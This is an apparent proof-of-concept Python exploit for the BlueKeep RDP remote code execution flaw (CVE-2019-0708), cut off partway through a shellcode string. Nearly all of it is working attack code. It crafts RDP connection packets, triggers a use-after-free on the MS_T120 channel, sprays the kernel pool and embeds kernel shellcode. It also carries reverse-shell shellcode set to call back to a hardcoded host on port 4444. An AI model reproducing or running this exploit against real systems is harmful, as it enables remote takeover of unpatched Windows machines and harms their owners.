Proof of concept exploit for a remote code execution vulnerability in Microsoft's RDP service.
ba1bc2933bf6b851671dc70d3284245c
#!/usr/bin/python
import socket
from OpenSSL import *
from struct import pack, unpack
from sys import argv, exit
class x224ConnectionRequestPacket:
def __init__(self):
# total of 8 bytes
self.rdpNegReq = pack(
'<BBHI',
1, # type (TYPE_RDP_NEG_REQ) , 1 byte
0, # flags , 1 byte (fuzzable)
8, # length , 2 bytes
1, # request protocol , 4 bytes (fuzzable)
)
# total of 7 bytes, (6 bytes without length indicator)
self.x224Crq = pack(
'!BBHHB',
6 + len(self.rdpNegReq), # length indication , 1 byte
# 6: length of this header, excluding length byte
224, # CR -> 1110 (E) CDT -> 0000 (0) for class 0 and 1
0, # dest-ref , 2 bytes (fuzzable)
0, # src-ref , 2 bytes (fuzzable)
0, # class 0
)
self.cr_tpdu = self.x224Crq + self.rdpNegReq
self.tpkt_total_length = len(self.cr_tpdu) + 4
self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)
self.pdu = self.tpktHeader + self.cr_tpdu
class MCSConnectInitialPacket:
def __init__(self, channels):
self.channelDefArray = ''
for channel in channels:
self.channelDefArray += channel.ljust(8, '\x00') + '\x00' * 4
self.clientNetworkData = pack('<HHI',
0xc003, # Header Type
len(self.channelDefArray) + 4 + 2 + 2, # Header Length
len(channels) # channelCount
)
self.clientNetworkData += self.channelDefArray # channelDefArray
# fix - do not touch, or else requires updating header length
self.clientSecurityData = pack('<HHII',
0xc002, # Header Type
12, # Header Length (2 + 2 + 4 + 4)
0x0000001b, # encryption Methods
0, # extEncryption Methods
)
# fix - do not touch, or else requires updatng header length
self.clientCoreData = pack('<HHHHHHHHII',
0xc001, # header type (2 bytes)
0xea, # header length (2 bytes)
0x0a, # version major (2 bytes)
0x08, # version minor (2 bytes)
0x07e8, # desktop Width (2 bytes)
0x05ee, # desktop Height (2 bytes)
0xca01, # color Depth (2 bytes)
0xaa03, # SASSequence (2 bytes)
0x0409, # keyboard Layout (4 bytes)
0x42ee, # client Build (4 bytes)
)
self.clientCoreData += 'A\x00'*15 + '\x00'*2 # clientName (32 bytes)
self.clientCoreData += pack('<III',
7, # keyboard (4 bytes)
0, # keyboardSubType (4 bytes)
12, # keyboardFunctionKey (4 bytes)
)
self.clientCoreData += '\x00'*64 # imeFileName (64 bytes)
self.clientCoreData += pack('<HHIHHH',
0xca01, # postBeta2ColorDepth (2 bytes)
1, # clientProductId (2 bytes)
0, # serialNumber (4 bytes)
0x18, # highColorDepth (2 bytes)
0x0f, # supportColorDepths (2 bytes)
0x07af, # earlyCapabilityFlags (2 bytes)
)
self.clientCoreData += '\x00'*64 # clientDigProductId (64 bytes)
self.clientCoreData += pack('<BBI',
7, # connectionType (1 byte)
0, # pad1octet (1 byte)
1, # serverSelectedProtocol (4 byte) - (subject to change)
)
self.clientCoreData += '\x00' * 18
self.rdp_clientData = pack('!H',
0x814a - 56 - 16 - 12 + len(self.clientNetworkData),
)
self.rdp_clientData += self.clientCoreData + self.clientSecurityData + self.clientNetworkData
self.conferenceCreateRequest = pack('!H',
0x8158 - 56 - 16 - 12 + len(self.clientNetworkData),
)
self.conferenceCreateRequest += '\x00'
self.conferenceCreateRequest += '\x08\x00' # conference name
self.conferenceCreateRequest += '\x10' # lockedConference | listedConference | conductibleConference
self.conferenceCreateRequest += '\x00\x01' # terminationMethod
self.conferenceCreateRequest += '\xc0\x00\x44\x75\x63\x61' # userData: h221NonStandard (44756361)
self.t124Identifer = '\x00\x05\x00\x14\x7c\x00\x01' # ASN.1 BER Encoded
self.connectData = self.t124Identifer + self.conferenceCreateRequest + self.rdp_clientData
self.genericConferenceControl = pack('!HH',
0x0482,
len(self.connectData),
) + self.connectData
self.mcs = '\x7f\x65\x82' # MCS Header
self.mcs += pack('!H',
len(self.genericConferenceControl) + 93) # MCS length (not including length size + header)
self.mcs += '\x04\x01\x01' # calling domain selector - ASN.1 BER octet type
self.mcs += '\x04\x01\x01' # called domain selector - ASN.1 BER octet type
self.mcs += '\x01\x01\xff' # upward flag - ASN.1 BER boolean type
# targetParameters - fix - do not touch or else need to update size
self.mcs += '\x30\x19' # header | size (0x19)
self.mcs += '\x02\x01\x22' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += '\x02\x01\x02' # maxUserIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # maxTokenIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # minThroughput - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type
self.mcs += '\x02\x02\xff\xff' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type
# minimumParameters - fix - do not touch or else need to update size
self.mcs += '\x30\x19' # header | size (0x19)
self.mcs += '\x02\x01\x01' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += '\x02\x01\x01' # maxUserIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxTokenIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # minThroughput - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type
self.mcs += '\x02\x02\x04\x20' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type
# maximumParameters - fix - do not touch or else need to update size
self.mcs += '\x30\x1c' # header | size (0x1c)
self.mcs += '\x02\x02\xff\xff' # maxChannelIds - ASN.1 BER integer type * var * ?
self.mcs += '\x02\x02\xfc\x17' # maxUserIds - ASN.1 BER integer type
self.mcs += '\x02\x02\xff\xff' # maxTokenIds - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # numPriorities - ASN.1 BER integer type
self.mcs += '\x02\x01\x00' # maxThroughput - ASN.1 BER integer type
self.mcs += '\x02\x01\x01' # maxHeight - ASN.1 BER integer type
self.mcs += '\x02\x02\xff\xff' # maxMCSPDUSize - ASN.1 BER integer type
self.mcs += '\x02\x01\x02' # protocolVersion - ASN.1 BER integer type
self.x224Data = '\x02\xf0\x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
self.mcsci_tpdu = self.x224Data + self.mcs + self.genericConferenceControl
self.tpkt_total_length = len(self.mcsci_tpdu) + 4
self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)
self.pdu = self.tpktHeader + self.mcsci_tpdu
class VirtualChannelPacket:
def __init__(self, data, initiator, channelId):
self.virtualChannelData = data
self.channelPduHeader = pack('II', len(self.virtualChannelData), 3)
self.mcsPdu = '\x64' + pack('!H', initiator) + pack('!H', channelId) + '\x70' + pack('!H', 0x8000 + 8 + len(self.virtualChannelData))
self.x224Data = '\x02\xf0\x80' # Length Indicaton , (DT ROA|TPDU-NR and EOT makes 2 bytes total)
self.vc_pdu = self.x224Data + self.mcsPdu + self.channelPduHeader + self.virtualChannelData
self.tpkt_total_length = len(self.vc_pdu) + 4
self.tpktHeader = pack(
'!BBH',
3, # version , 1 byte
0, # reserved , 1 byte
self.tpkt_total_length # len (include the header) , 2 bytes
)
self.pdu = self.tpktHeader + self.vc_pdu
def sendX224Request(s):
cr = x224ConnectionRequestPacket()
s.sendall(cr.pdu)
data = s.recv(8000)
return data
def sendMCSGCC(s, channels):
mcsci = MCSConnectInitialPacket(channels)
s.sendall(mcsci.pdu)
data = s.recv(8000)
return data
def sendErectDomainRequest(s):
s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x04\x01\x00\x01\x00')
def sendAttachUserRequest(s):
s.sendall('\x03\x00\x00\x08\x02\xf0\x80\x28')
data = s.recv(8000)
return data
def sendChannelJoinRequest(s, initiator, channelId):
s.sendall('\x03\x00\x00\x0c\x02\xf0\x80\x38' + pack('!HH', initiator, channelId))
data = s.recv(8000)
return data
def sendClientInfo(s):
pdu = '\x03\x00\x01\x4f\x02\xf0\x80\x64\x00\x07\x03\xeb\x70\x81\x40\x40\x00\x77\xee\x09\x04\x09\x04\x33\x41\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x20\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x33\x00\x39\x00\x2e\x00\x32\x00\x33\x00\x33\x00\x00\x00\x40\x00\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x44\x00\x4f\x00\x57\x00\x53\x00\x5c\x00\x73\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\xe0\x01\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x61\x00\x63\x00\x69\x00\x66\x00\x69\x00\x63\x00\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00\xc4\xff\xff\xff\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x64\x00\x00\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendConfirmActivePDU(s, initiator, pduSource):
pdu = '\x03\x00\x02\x04\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x81\xf5\xf5\x01\x13\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\xea\x03\x06\x00\xdf\x01\x4d\x53\x54\x53\x43\x00\x16\x00\x00\x00\x01\x00\x18\x00\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x1c\x00\x20\x00\x01\x00\x01\x00\x01\x00\x9a\x07\xb4\x05\x00\x00\x01\x00\x01\x00\x00\x1a\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x15\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0d\x00\x58\x00\x91\x00\x20\x00\x09\x04\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00\x0f\x00\x08\x00\x01\x00\x00\x00\x11\x00\x0c\x00\x01\x00\x00\x00\x00\x28\x64\x00\x14\x00\x0c\x00\x01\x00\x00\x00\x00\x00\x00\x00\x15\x00\x0c\x00\x02\x00\x00\x00\x00\x0a\x00\x01\x1a\x00\x08\x00\xaf\x94\x00\x00\x1c\x00\x0c\x00\x12\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1e\x00\x08\x00\x01\x00\x00\x00\x18\x00\x0b\x00\x02\x00\x00\x00\x03\x0c\x00'
s.sendall(pdu)
def sendRdpPduType_Synchronize(s, initiator, pduSource):
pdu = '\x03\x00\x00\x25\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x16\x16\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendRdpPduType_Control_Action_Cooperate(s, initiator, pduSource):
pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendRdpPduType_Control_Action_RequestControl(s, initiator, pduSource):
pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendRdpPduType_FontList(s, initiator, pduSource):
pdu = '\x03\x00\x00\x29\x02\xf0\x80\x64' + pack('!H', initiator) + '\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00' + pack('H', pduSource) + '\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00'
s.sendall(pdu)
data = s.recv(8000)
return data
def sendToVirtualChannel(s, data, initiator, channelId):
vc = VirtualChannelPacket(data, initiator, channelId)
s.sendall(vc.pdu)
def readFromVirtualChannel(s):
while 1:
data = tls.recv(8000)
if '\x03\x00\x00\x22\x02\xf0\x80' in data or '\x03\x00\x00\x6a\x02\xf0\x80' in data:
# got data that comes from virtual channel
return data
else:
# junk data
pass
def makeKernelShellcode():
# Reference: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501
# spoolsv.exe
kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
# explorer.exe
#kshellcode = '\x55\xe8\x34\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x3a\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x31\xc0\x90\xf4\x90\xeb\xfb\x48\x8d\x2d\x00\x10\x00\x00\x48\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\xe2\x00\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\xdd\x00\x00\x00\x8b\x40\x03\x89\xc3\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xb1\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xa6\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xdf\x00\x00\x00\x3d\xe6\x72\xb2\x3e\x74\x10\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x6f\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xad\x00\x00\x00\x55\x6a\x01\x55\x41\x50\x4a\x8d\x14\x33\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xb8\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\xa5\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e\x48\x8d\x35\x4d\x00\x00\x00\xb9\x00\x06\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3'
return kshellcode
def makeKernelUserPayload(ring3, size):
shellcode = makeKernelShellcode() + ring3
if (size - len(shellcode)) > 0:
shellcode += '\x90' * (size - len(shellcode))
return shellcode
else:
print '[**] ring3 shellcode size exceeds maxmium supporting length [**]'
exit(1)
if __name__ == "__main__":
channels = ['rdpdr', 'MS_T120', 'rdpsnd']
totalMCSChannels = len(channels) + 2
origId = 1003
lhost = '192.168.0.175'
lport = 4444
rhost = argv[1]
rport = 3389
print
print '[*] CVE-2019-0708 (BlueKeep) RCE Exploit [*]'
print '@straight_blast ; [email protected]'
print
print '[-] Establishing Connection'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
data = sendX224Request(s)
#print "x224 Connection Response: " + data.encode('hex')
ctx = SSL.Context(SSL.TLSv1_METHOD)
tls = SSL.Connection(ctx, s)
tls.set_connect_state()
tls.do_handshake()
data = sendMCSGCC(tls, channels)
#print "MCS GCC Response: " + data.encode('hex')
sendErectDomainRequest(tls)
data = sendAttachUserRequest(tls)
#print "Attach User Response: " + data.encode('hex')
initiator = unpack('>I', data[-2:].rjust(4,'\x00'))[0]
#print "Initiator: " + str(initiator)
for i in xrange(totalMCSChannels):
data = sendChannelJoinRequest(tls, initiator, origId + i)
#print "Join Confirm Response (" + str(origId + i) + "): " + data.encode('hex')
data = sendClientInfo(tls)
#print "Error Alert: " + data.encode('hex')
data = tls.recv(8000)
#print "Demand Active PDU: " + data.encode('hex')
sendConfirmActivePDU(tls, initiator, origId + totalMCSChannels - 1)
data = sendRdpPduType_Synchronize(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Synchronize Response: " + data.encode('hex')
data = sendRdpPduType_Control_Action_Cooperate(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Control, Action: Cooperate Response: " + data.encode('hex')
data = sendRdpPduType_Control_Action_RequestControl(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Control, Action: Granted Control Response: " + data.encode('hex')
data = sendRdpPduType_FontList(tls, initiator, origId + totalMCSChannels - 1)
#print "RDP PDU Type: Fontmap Response: " + data.encode('hex')
data = readFromVirtualChannel(tls)
#print "RDPDR and RDPSND are now loaded"
print '[-] Connection Stablized'
print '[-] Freeing Object'
free_mst120_channel = 'A' * 8 + '\x02' + '\x00' * 7
sendToVirtualChannel(tls, free_mst120_channel, initiator, 1005)
print '[-] Taking Over Freed Object And Pool Spraying'
pool_size = 0x630
pool_address = 0xfffffa80055ff980
#pool_address = 0xfffffa800b5ff980
pool_storage_address = pool_address + 0x48
pool_shellcode_address = pool_address + 0x50
fake_channel_object = '\x00' * 200 + pack('<Q', pool_storage_address) + '\x00' * 88
# Reference: msfvenom --platform windows -p windows/x64/shell_reverse_tcp LHOST=192.168.0.175 LPORT=4444 -f python
reverse_shell = '\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x4